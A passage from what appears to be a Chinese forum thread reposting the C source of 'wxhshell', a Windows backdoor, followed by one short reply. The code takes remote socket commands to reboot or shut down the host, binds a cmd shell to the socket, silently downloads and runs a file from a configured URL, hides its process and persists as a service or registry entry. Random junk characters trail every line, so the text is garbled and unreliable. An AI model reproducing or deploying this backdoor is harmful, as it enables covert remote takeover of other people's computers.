  if(DownloadFile(cmd,wsh))  @es}bKP  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); /"- k ;jz  
  else vz) A~"E  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {0lY\#qcE  
  } ibl^A=  
  else { }H?8~S =  
HPCzh  
    switch(cmd[0]) { l#7,<@)  
   V-}d-Y  
  // 帮助 :M`|*~V~$  
  case '?': { Xl#vVyO  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 1(gb-u0  
    break; Y:FV+ SI  
  } ,cWO Ak  
  // 安装 F4k<YU  
  case 'i': { w eT33O"!1  
    if(Install()) HyiuU`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); nUQcoSY#  
    else &"._%S58V  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); yH|ucN~k5S  
    break; T73oW/.0X?  
    } r%xp^j}  
  // 卸载 h76#HUBr!  
  case 'r': { f/Grem  
    if(Uninstall()) NO +j    
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Uey.@2Q  
    else UY5ia4_D  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); b5_A*-s$M  
    break; 4adCMfP7.  
    } m1gJ"k6 `j  
  // 显示 wxhshell 所在路径 :)c >5  
  case 'p': { j23OgbI  
    char svExeFile[MAX_PATH]; n8w|8[uV^  
    strcpy(svExeFile,"\n\r"); tRS^|??  
      strcat(svExeFile,ExeFile); Ve2z= 6(  
        send(wsh,svExeFile,strlen(svExeFile),0); ,YSQog  
    break; %{yr#F=t#]  
    } @!Il!+^3  
  // 重启 TIW6v4  
  case 'b': { H+F?)VX}oA  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 1HN_  
    if(Boot(REBOOT)) DOkEWqM!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }1`Rq?@J  
    else { =oluw|TCe7  
    closesocket(wsh);  )"&-vg<  
    ExitThread(0); ?p. dc ~tZ  
    } .'lc[iI9)d  
    break; Bo`fy/x#  
    } N Rcg~Nu  
  // 关机 zf$OC}|\w  
  case 'd': { |}es+<P  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); MCurKT<pQ  
    if(Boot(SHUTDOWN)) 1ScfX\ F=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); BNyDEFd  
    else { nv{ou [vQ  
    closesocket(wsh); L -b~#  
    ExitThread(0); u,PrEmy-  
    } CUnZ}@?d  
    break; H5,{Z  
    } =V"ags   
  // 获取shell L FHyiIO  
  case 's': { @IB8(TZ5I  
    CmdShell(wsh); "3Dvc7V  
    closesocket(wsh); VDPqI+z  
    ExitThread(0); %saTyF,  
    break; Fy`VQ\%7t  
  } CLQ\Is^]  
  // 退出 Yl&eeM  
  case 'x': { 5>j,P   
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); k|BY 7C  
    CloseIt(wsh); 3dcZ1Yrn  
    break; 5`^"<wNI  
    } , $}P<WZMu  
  // 离开 \z:p"eua z  
  case 'q': { %a5Sc|&-  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); IB}.J,=  
    closesocket(wsh); iFF/[P  
    WSACleanup(); ~SV;"e2N.  
    exit(1);  *X*D, VY  
    break; i/C#fIB2  
        } O~">-'f  
  } klT6?'S  
  } PgB=<#9  
2YuaPq/  
  // 提示信息 2EG"xA5%  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); bkmX@+Pe  
} @`%.\_  
  } #@2`^1  
/iy2j8: z  
  return; /J/r62  
} HZ[&ZNTa  
twf;{lZ(  
// shell模块句柄 @*is]d+Ya  
int CmdShell(SOCKET sock) xdYjl.f  
{ QdUl-(  
STARTUPINFO si; M[<O]p6  
ZeroMemory(&si,sizeof(si)); t^8#~o!%  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; hh+GW*'~  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ~>>o'H6  
PROCESS_INFORMATION ProcessInfo; tI.(+-q  
char cmdline[]="cmd"; GS8,mQ8l*l  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); bCd! ap+#  
  return 0; Qyt6+xL  
} 8uyVx9C0  
u+(e,t  
// 自身启动模式 3i >$g3G  
int StartFromService(void) b'3#FI=:  
{ MMhd-B1O&  
typedef struct $N,9 e  
{ 0<nKB}9  
  DWORD ExitStatus; YX^{lD1Jj  
  DWORD PebBaseAddress; q/Q^\HTk  
  DWORD AffinityMask; tSYeZ~  
  DWORD BasePriority; d@C ;rzR  
  ULONG UniqueProcessId; ZJy D/9y  
  ULONG InheritedFromUniqueProcessId; _qE2r^o"B  
}   PROCESS_BASIC_INFORMATION; <u->hT  
)I1LBvfQ  
PROCNTQSIP NtQueryInformationProcess; Y]Su<t gX?  
vk{4:^6.TV  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; )byQ=-< 1  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; g=i|D(".  
rQKBT]?y  
  HANDLE             hProcess; Bw{@YDO{  
  PROCESS_BASIC_INFORMATION pbi; [USXNe/  
r)+dK }xl  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); E+E5`-V  
  if(NULL == hInst ) return 0; eHqf3f   
yQou8P=%  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); t9 &O0tpe  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); o<V-gS  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); g](m& O  
'\_ic=&u  
  if (!NtQueryInformationProcess) return 0; #GWQ]r?  
[POy" O  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); KxJJ?WyM  
  if(!hProcess) return 0; $?*+P``  
jLb3{}0  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; p,kJ#I  
tvFJ^5  
  CloseHandle(hProcess); T,WWQm  
?W.Y x7c  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); xl# j_d,  
if(hProcess==NULL) return 0; <U1uuOt  
_r^&.'q  
HMODULE hMod; }d6g{`  
char procName[255]; QL|Vke:N4  
unsigned long cbNeeded; !u7WCw.Dm  
_`D760q}  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ef!I |.FW  
UAcABL^2  
  CloseHandle(hProcess); N3x}YHFF  
W_iP/xL  
if(strstr(procName,"services")) return 1; // 以服务启动 >"`:w  
]^ RgzK  
  return 0; // 注册表启动 d%]7:  
} h[XGFz  
9^c_^-8n<}  
// 主模块 ZO}V}3  
int StartWxhshell(LPSTR lpCmdLine) V!ajD!00  
{ (MxLw:AV  
  SOCKET wsl; 9wtl|s%A %  
BOOL val=TRUE; Y~Jq!  
  int port=0; $f)Y !<bC  
  struct sockaddr_in door; "QiUuD=  
gO$!_!@LM  
  if(wscfg.ws_autoins) Install(); c=@=lGgo  
Z.h`yRhO  
port=atoi(lpCmdLine); r@ejU'uz  
Aq";z.gi+  
if(port<=0) port=wscfg.ws_port; F"0 tv$  
%mI`mpf  
  WSADATA data; c)E'',-J_2  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; j&44wuf  
B\<zU  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   9cj=CuE  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 2V~Yb1P  
  door.sin_family = AF_INET; %mxG;w$  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); y<;#*wB  
  door.sin_port = htons(port); {ifYr(|p`  
$6Ty~.RP5H  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 7L]fCw p[  
closesocket(wsl); bgEUG  
return 1; i 5_g z>  
} d[O.UzQ  
=Wl CE_  
  if(listen(wsl,2) == INVALID_SOCKET) { ;zh|*F>  
closesocket(wsl); 3J:!8Gmk  
return 1; hPEK@  
} M rVtxzH  
  Wxhshell(wsl); fY-{,+ `'  
  WSACleanup(); &}P62&  
!{ )H  
return 0; !hJKI.XH  
,:;_j<g`e  
} xQ$*K]VP  
v"bOv"!al  
// 以NT服务方式启动 yWX:`*GV  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ^M,Q<HL  
{ g4-HUc zk  
DWORD   status = 0; Yoaz|7LS  
  DWORD   specificError = 0xfffffff; "}ZD-O`!  
85H8`YwPh  
  serviceStatus.dwServiceType     = SERVICE_WIN32; . e]!i(5I  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 3S <5s}  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Y> 7/>x6  
  serviceStatus.dwWin32ExitCode     = 0; LrK6*y,z  
  serviceStatus.dwServiceSpecificExitCode = 0; P/ug'  
  serviceStatus.dwCheckPoint       = 0; /Wzic+v<>  
  serviceStatus.dwWaitHint       = 0; |yqx ]  
Os[^ch  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ;=_KLG <  
  if (hServiceStatusHandle==0) return; IJ=~hBI  
JEBx|U$'Y  
status = GetLastError(); VT-&"Jn  
  if (status!=NO_ERROR) 2TIZltFS0e  
{ &z,w0FOre  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; fe&K2C%bm  
    serviceStatus.dwCheckPoint       = 0; lRentNg0b  
    serviceStatus.dwWaitHint       = 0; VxsW3*`  
    serviceStatus.dwWin32ExitCode     = status; r,0> 40^  
    serviceStatus.dwServiceSpecificExitCode = specificError; C>j"Ck^<  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); X,gXgxP\  
    return; j@ =n|cq  
  } \:O5,wf2  
am@\$Sa4  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; i12iB+q  
  serviceStatus.dwCheckPoint       = 0; #t{?WkO[  
  serviceStatus.dwWaitHint       = 0; Q=>@:1=  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); s%p(_pB  
} bBg?x 4bu  
iD{;!dUZ  
// 处理NT服务事件,比如:启动、停止 Bz ]64/  
VOID WINAPI NTServiceHandler(DWORD fdwControl) F"9q Bl~  
{ :%;K`w  
switch(fdwControl) *6=[Hmygi  
{ V! ~uGf  
case SERVICE_CONTROL_STOP: W;,Jte<'Nm  
  serviceStatus.dwWin32ExitCode = 0; KcY 2lTvx  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; jaNkWTm :  
  serviceStatus.dwCheckPoint   = 0; ))Aj X  
  serviceStatus.dwWaitHint     = 0; j!jZJD  
  { (bZ)pW/iw  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); GyT{p#l  
  } L5PN]<~T  
  return; P 7gS M  
case SERVICE_CONTROL_PAUSE: JYKaF6bx8  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; h-#Glse<  
  break; q/&Z6LJ)  
case SERVICE_CONTROL_CONTINUE: +#n[55d  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; \Mt(9jNK  
  break; i7Y 96]  
case SERVICE_CONTROL_INTERROGATE: 8[xb+_  
  break; >\KBXS}  
}; syV &Ds)  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 22(0Jb\_  
} \{abyi;  
ud! iy  
// 标准应用程序主函数 V. :imj  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) $yhQ)@#1  
{ v{&cgod  
u:"mq.Q  
// 获取操作系统版本 ;|}6\=(  
OsIsNt=GetOsVer(); |W{z,e01x  
GetModuleFileName(NULL,ExeFile,MAX_PATH); $t[`}I }  
Ql#:Rx>b  
  // 从命令行安装 <Gs)~T#'  
  if(strpbrk(lpCmdLine,"iI")) Install(); idGM%Faur  
UB(Q &U_  
  // 下载执行文件 |67<h5Q1  
if(wscfg.ws_downexe) { aBol9`6  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) u[ "Pg  
  WinExec(wscfg.ws_filenam,SW_HIDE); O@?? NF6G  
} l[rIjyL@  
P ,5P6Y9  
if(!OsIsNt) { S'2B  
// 如果时win9x,隐藏进程并且设置为注册表启动 D4;V8(w=#  
HideProc(); ]\*g/QV  
StartWxhshell(lpCmdLine); ~@TNVkw  
} k >U&Us0  
else NDCZc_  
  if(StartFromService()) Hza{"I*^  
  // 以服务方式启动 i]xyD'0  
  StartServiceCtrlDispatcher(DispatchTable); ZZ?=^g  
else e9"<.:&  
  // 普通方式启动 d-39G*;1  
  StartWxhshell(lpCmdLine); \jZvP`.2  
^!N_Nx/M  
return 0; UiF?Nx~  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
批量上传需要先选择文件,再选择上传
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八